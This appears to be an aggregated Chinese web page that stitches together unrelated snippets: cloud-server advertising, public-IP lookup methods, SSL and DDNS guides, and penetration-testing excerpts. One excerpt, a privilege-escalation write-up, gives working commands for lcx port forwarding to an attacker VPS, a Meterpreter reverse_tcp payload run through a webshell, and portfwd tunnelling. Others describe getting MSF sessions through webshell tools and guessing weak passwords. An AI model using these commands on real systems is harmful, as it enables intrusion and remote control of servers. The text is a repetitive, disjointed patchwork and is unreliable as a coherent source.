木马又称“间谍软件spyware”、“后门程序backdoor”，最新发展为“恶意程序”或叫“流氓程序”。
作为云计算服务的重要组成部分，云服务器以其简单高效、安全可靠、弹性扩展的特性成为核心力量，构建了包括计算、网络、存储在内的综合服务平台。以腾讯云服务器为例，CVM不仅提供了镜像复制、快照备份等功能，还可以按实际使用计算费用。借此，用户可以在数分钟内获取并配置腾讯云服务器计算实例。值得一提的是，腾讯云服务器对于前沿的高性能计算也有较好的支持。今年初，腾讯云推出了高性能异构计算基础设施——FPGA云服务。
遇到个奇葩case，图文并茂的多个.asp站点，访问过快就会出现403 forbidden，具体特征：
在壹篇中主要讲了弱口令漏洞在攻防演练中的利用，有朋友可能会觉得弱口令漏洞非常简单，为什么还要讲它呢？理由是虽然弱口令漏洞非常简单，但是在攻防演练环境下还是普遍存在的，因此针对未知系统我会优先尝试弱口令。尽管现在随着网络安全意识的普及，大部分单位或公司都使用8位以上且包含各种字符的强口令，但由于使用随机字符的强口令实在反人类，普通人根本无法记住它们，因此为了合规会设置相对好记的口令，比如哥谭市财政局，其系统口令就有可能是gtcz@2022，这种伪强口令其实还是属于弱口令的范畴当中，攻击者配合工具可轻易猜到它们，同时在目标未登记的老资产中也会存在一些默认口令、弱口令，当我们信息收集做的足够好时就能发现它们，从而进入应用获取权限。本文主要介绍我在攻防演练中遇到的两个实战思路，分别是逻辑漏洞和SQL注入的利用。
作为云计算服务的重要组成部分，云服务器以其简单高效、安全可靠、弹性扩展的特性成为核心力量，构建了包括计算、网络、存储在内的综合服务平台。以腾讯云服务器为例，CVM不仅提供了镜像复制、快照备份等功能，还可以按实际使用计算费用。借此，用户可以在数分钟内获取并配置腾讯云服务器计算实例。值得一提的是，腾讯云服务器对于前沿的高性能计算也有较好的支持。今年初，腾讯云推出了高性能异构计算基础设施----FPGA云服务。
这篇文章我们主要介绍的是如何利用常用Webshell管理工具中的自定义代码执行功能来上线MSF，附带了中国蚁剑、冰蝎和哥斯拉的内存加载上线，实战渗透中如果遇到以下场景时可尝试文中方法绕过。
云服务器（Cloud Virtual Machine，CVM）为您提供安全可靠的弹性计算服务。 只需几分钟，您就可以在云端获取和启用 CVM，来实现您的计算需求。随着业务需求的变化，您可以实时扩展或缩减计算资源。 CVM 支持按实际使用的资源计费，可以为您节约计算成本。使用 CVM 可以极大降低您的软硬件采购成本，简化 IT 运维工作。
它由32位二进制数字组成，通常分为四个部分，每个部分是一个8位的十进制数，各部分之间用点（.）分隔。例如，一个常见的IP地址可能是192.168.0.1。
1、IP后面的端口，要在平台的安全组（腾讯云、阿里云等）入站放通，也要在服务器内部的防火墙放通（防火墙关闭的话忽略即可）；
https://docs.microsoft.com/zh-cn/dotnet/core/install/linux-centos
首先准备好轻量应用服务器、域名，将域名解析到服务器公网ip，如果使用境内服务器需要提前备案域名，否则解析会被阻断。
在渗透过程中，我们需要快速实现内网穿透，从而绕过网络访问限制，直接从外网来访问内网。今天，我们来推荐几款非常好用的内网穿透工具，如有其它推荐，欢迎补充和指正。
Skype for Business Server 2015完整部署，实现内外网/移动端客户端登录。
受限于光速，网络延迟总是有一个下限，是无法超越物理极限的。本人实测，使用腾讯云的云联网，中国上海到美国硅谷内网ping延迟138ms，这基本是最佳的网络延迟了。
安装 .NET 之前，请运行以下命令，将 Microsoft 包签名密钥添加到受信任密钥列表，并添加 Microsoft 包存储库。 打开终端并运行以下命令：
0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP，不过都失败了，第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地，然后再用lcx把Filezilla Server的14147端口转发出来，lcx执行命令如下。 首先VPS机器监听51端口，连接用14147端口： VPS机器执行： C:\>lcx.exe -listen 51 14147 目标机器执行： /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上，返回右上图这样的报错，Google翻译报错信息得知：协议错误：未通过身份验证，关闭连接，连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接，而且我们本地机器也成功的返回了数据，但是好像返回的数据信息中有错误，如下图。 当前问题： 不能正常把目标服务器的FileZilla Server 14147端口给转发出来，返回数据中出错了，所以无法在本地连接上FileZilla Server服务端。 解决办法： 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件，然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下，那么就需要先在路由器里进行端口映射配置，然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件，命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下，然后进入到MSF完成所有必填的配置选项，执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听，然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件，如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话，然后直接使用portfwd命令进行端口转发即可，执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后，我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接
网站也可以理解为web应用程序，只不过无需用户下载，只要有网络，随时随地都能访问。
网上有很多API接口，只要简单的调用就可以获取到我们想要的信息，比如天气预报、每日一句等等。包括一些抢券活动，一般也是有API可以直接调用的。
本文主要介绍了如何用阿里云和腾讯云申请免费SSL证书，并在Apache、Nginx和IIS服务器上部署SSL证书，以便提高网站的安全性。同时，文章还介绍了如何申请免费域名，以及如何在阿里云和腾讯云的管理控制台设置DNS解析。
Session共享是分布式架构设计中的一大难点，尽管session共享的解决方案不少，但是.net 下的解决方案还是比较少，而且说明文档也很少。
2. WhatWeb：WhatWeb – Next generation web scanner.
删除项目的 csproj 文件的WebProjectProperties节点内容。
FTP是一个文件传输协议，用户通过FTP可以从客户机程序向远程主机上传或下载主机，常用于网站代码维护，日常源码备份等。如果攻击者通过FTP匿名访问或者弱口令获取FTP权限，可直接上传webshell，进一步渗透提权，直至控制整个网站服务器。
近日，腾讯云安全中心监测发现办公协作系统泛微e-cology OA被曝存在数据库配置信息泄露漏洞，如攻击者可直接访问数据库，则可直接获取用户数据，甚至可以直接控制数据库服务器。 为避免您的业务受影响，腾讯云安全中心建议您及时开展安全自查，如在受影响范围，请您及时进行更新修复，避免被外部攻击者入侵。同时建议云上租户免费开通「安全运营中心」-安全情报，及时获取最新漏洞情报、修复方案及数据泄露情况，感知云上资产风险态势。 【风险等级】 中风险 【漏洞风险】 数据库信息泄露， 或数据库被远程控制 【漏洞详情】 近
Date/time：2013年，早想写这篇文章了，由于最近一直很忙，拖了半个月才抽出时间来写，这篇文章主要记录的是我在一次提权过程中遇到的问题和解决办法，在这里特别感谢@烟神、@落寞两位大哥的耐心指导与讲解。这个站点使用Asp + Access，一个很普通的SQL注入漏洞，这里就不详细写了。
FTP是一个文件传输协议，用户通过FTP可从客户机程序向远程主机上传或下载文件，常用于网站代码维护、日常源码备份等。如果攻击者通过FTP匿名访问或者弱口令获取FTP权限，可直接上传webshell，进一步渗透提权，直至控制整个网站服务器。
配置邮箱服务器之前需要解封25端口，只支持包年包月机器，不支持按量机器https://console.cloud.tencent.com/secctrl/smtp
Kestrel介绍 在Asp.Net Core中，我们的web application 其实是运行在Kestrel服务上，它是一个基于libuv开源的跨平台可运行 Asp.Net Core 的web服务器。 在开发阶段，我们可以直接使用Kestrel服务器用来测试，也可以使用IISExpress。在使用IISExpress其实也需要启动一个Kestrel服务器，通过IISExpress反向代理请求到Kestrel，很多时候我更喜欢使用Kestrel，因为可以实时看到log。 配置端口 在Socket开发中，
我们可以使用一系列内网穿透映射的工具，可以在公网访问本地开放的程序，（无论是自己搭建还是使用其他产品 都适用）
准备服务器【Alibaba Cloud Linux 3.2104 LTS 64位 快速启动版】
SRT是时下最热门的互联网传输协议，具备低延时、稳定可靠传输的优势特性，可广泛应用于远程制作、远程监看、异地互动等需要互联网远程传输场景。 SRT 是点对点传输协议，由于需要穿透互联网，所以至少需要有一端具备公网 IP 地址。将有公网 IP 地址的一端设备设置为 listener 模式，另一端采用 caller 模式向对端发起连接请求，待 SRT 连接建立成功之后，则可以实时传输视频流了。
最近在使用部分腾讯轻量云服务器用来测试小程序后台，看了提供了不少系统镜像，正好体验下。这里选择windows server系统，腾讯提供基于操作系统的镜像，如果选择windows server的话，轻量服务器提供了2012-2022的镜像。但是这里需要特别提醒下：
全网首发，最全的IP接口，不服来辩！博主找了几个小时的资料，又手动抓取到了几个接口补充进来，应该不能再全了…… 360获取本机IP、地区及运营商 接口地址：http://ip.360.cn/IPShare/info 传递参数：无 返回类型：json 返回值： greetheader：提示语(如上午好、中午好等) nickname：本机已登录的360账号 ip：本机IP地址 location：IP所对应的地理位置
注：由于目标单位所用的web系统以及服务器都是比较老的机子，所以可能没有很高的技术含量，不足之处还望批评指正。
用户请求到达提供服务的服务器中间有很多的环节，导致服务获取用户真实的 ip 非常困难，大多数的框架及工具库都会封装各种获取用户真实 ip 的方法，在 exnet 包中也封装了各种 ip 相关的操作，其中就包含获取客户端 ip 的方法，比较实用的方法如下：
通过创建一个 UDP 套接字，并连接到公共的 DNS 服务器（此处是 Google 的 8.8.8.8 ），然后通过套接字的 getsockname ()方法获取本地 IP 地址。最后关闭套接字连接并返回本地 IP 地址。最终输出将打印本机的 IP 地址。
公网 IP 一般指广域网上的 IPv4 地址, 在日常上网时公网 IP 可有可无, 但当需要局域网内某台服务器对外网提供服务时便需要拥有这样一个 IP.
这篇文章最后修改于 2022-08-22 日，距今已有 92 天，请注意甄别内容是否已经过时！
如果希望从外面通过 ssh 远程登录家里的路由器，或者通过 VPN 连上家里的内网，就需要知道家里的公网 IP 地址，而公网 IP 地址每次拨号都会变(比如断点或重启路由器就会重新拨号)，所以需要一个 DDNS 服务来自动修改 DNS 解析，指向当前家里的公网 IP 地址。
Spring源码——WebUtils 个人网站中部署的服务器共有两台，由于是分布式的环境，为了防止有效的针对具体某个服务器出现的问题，需要在网页上加上服务器的IP地址和项目启动的时间，但是由于资源的问
浏览器里，whatismyipaddress.com查到的是海外出口代理IP而不是我北京运营商IP
在Go语言中，获取当前的外网（公网）IP地址可以通过多种方法实现。其中一种常见的方法是通过访问外部服务来获取。这些服务可以返回访问者的公网IP地址，例如 httpbin.org/ip 或 ipify.org。下面是一个简单的例子，展示了如何使用Go标准库中的net/http包和io/ioutil包来实现这一功能。
英国国家网络安全中心（NCSC）发布了一份列表，列出了数据泄露中出现的 100000 个最常见的密码，以鼓励用户选择强密码。到目前为止，数据泄露中显示的最常用密码是 “123456”，有 2320 万个帐户使用此密码。另外，全世界有 770 万用户选择使用 “123456789” 作为密码。 紧接着排名靠前的三个密码均被超过 300 万用户使用：“qwerty” 出现 3.8 万次，“password” 出现 3.6 万次，“111111” 出现 310 万次
1：注册登陆购买域名的网站（如腾讯云/阿里云/华为云），用于域名解析。 2：登陆又拍云控制台（用于添加需要CDN网站） 3：SSL证书，用于https,如果不懂,我会到时候更新一篇如何配置SSL证书教程 4：登陆网站管理面板后台（用于查看回源目录路径）
若一台服务器上，需要架设多个站点，则可以通过虚拟主机技术来实现。但是虚拟主机技术的问题点在于该服务器内如何区分不同的站点。这里，有三种技术可以实现：基于ip、基于port(端口)，基于域名。
NAT 是网络地址转换，这是一种协议，它为公共网络上的多台计算机提供了一种共享单个 Internet 连接的方法。
网络上有些网页，访问这些网页时会显示我们的公网IP地址。利用爬虫技术，编写Python程序向这样的页面发出请求，在返回的响应中会包含我们的公网IP地址，然后再根据返回的信息格式解析出公网IP地址就可以了。
Advanced Installer ：Free for 30 days. All features. 下载地址：https://www.advancedinstaller.com/download.html 30天内免费 汉化版：http://www.jb51.net/softs/595612.html
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
